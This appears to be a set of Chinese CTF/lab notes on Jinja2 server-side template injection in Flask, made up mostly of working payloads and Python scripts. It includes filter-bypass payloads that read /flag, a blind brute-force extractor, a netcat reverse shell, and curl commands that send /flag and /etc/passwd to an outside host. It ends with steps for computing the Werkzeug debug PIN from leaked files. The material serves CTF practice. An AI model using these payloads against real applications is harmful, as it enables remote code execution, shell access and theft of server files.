{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
# -*- coding: utf-8 -*-
# 盲注
import requests
import string
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
url ='''http://b134fd30-bddc-4302-8578-8005b96f73c2.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%} {% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{% set cmd2='''
s=string.digits+string.ascii_lowercase+'{_-}'
flag=''
for i in range(1,50):
print(i)
for j in s:
x=flag+j
u=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'1341'+'{% endif%}'
#print(u)
r=requests.get(u)
if("1341" in r.text):
flag=x
print(flag)
break
# 反弹shell
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd= %}
# cmd用后面的脚本生成
{%if x.eval(cmd)%}
123
{%endif%}
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s): t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
无回显SSTI
反弹shell
通过RCE反弹shell绕过无回显界面
import requests
url = "http://localhost:8089/flasklab/level/3"
for i in range(500):
data = {"code":"{{().__class__.__base__.__subclasses__()["+str(i)+'].__init__.__globals__["popen"]("netcat 192.168.23.128 5555 -e /bin/bash").read()}}'}
try:
response = requests.post(url, data=data)
except:
pass
kali 上开启 netcat 端口监听
netcat -lvp 5555
带外注入
通过 requestbin 或 dnslog 方式讲信息传到外界
import requests
url = "http://localhost:8089/flasklab/level/3"
for i in range(500):
data = {"code":"{{().__class__.__base__.__subclasses__()["+str(i)+'].__init__.__globals__["popen"]("curl http://192.168.23.128/`cat /etc/passwd`").read()}}'}
try:
response = requests.post(url, data=data)
except:
pass
kali 上开启 python http 监听
python3 -m http.server 80
纯盲注
要有回显
python debug pin码计算
pin码
对于有文件包含或文件读取的漏洞,且开启debug功能,想要执行指令还需要输入pin码
pin码生成原理
pin码由六个参数构成
username
执行代码时候的用户名**getattr(app,"__name__",app.__class__.__name__)**
–>Flask(一般固定)**modename**
固定值默认flask.appgetattr(mod,"__file__",None)
app.py文件所在路径str(uuid.getnode())
电脑上的mac地址get_machine_id()
根据操作系统不同有四种获取方式
生成pin码Debugger PIN的代码是在get_pin_and_cookie_name
pin码计算CTF题目
flask debug 开启危害
有文件包含或文件读取的漏洞,且开启debug功能
点击Read something会跳转页面
url可以进行修改,从而读取服务器部分文件
/etc/passwd
可以看到用户名root
(1000以上一般人为创建)
- mac地址查看
/sys/class/net/eth0/address
(计算时转化为十进制)
get_machine_id()
查看/etc/machine-id
/proc/self/cgroup
还需要一个报错界面,或者默认路径
最后跑一下